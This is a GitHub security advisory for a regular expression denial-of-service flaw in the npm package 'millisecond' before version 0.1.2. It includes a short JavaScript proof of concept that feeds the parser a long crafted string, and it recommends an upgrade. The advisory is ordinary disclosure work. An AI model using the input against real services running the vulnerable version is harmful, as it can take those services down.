GitHub Advisoryadvisory · npm
GHSA-m489-xr35-fjxr Regular Expression Denial of Service in millisecond
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- millisecond
- Severity
- Moderate
- Weaknesses
- CWE-1333, CWE-400
- Reviewed
- 2021-09-22
Affected packages
• npm millisecond: < 0.1.2 → fixed in 0.1.2
Description
Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of concept
```
var ms = require('millisecond');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
```
Recommendation
Update to version 0.1.2 or later.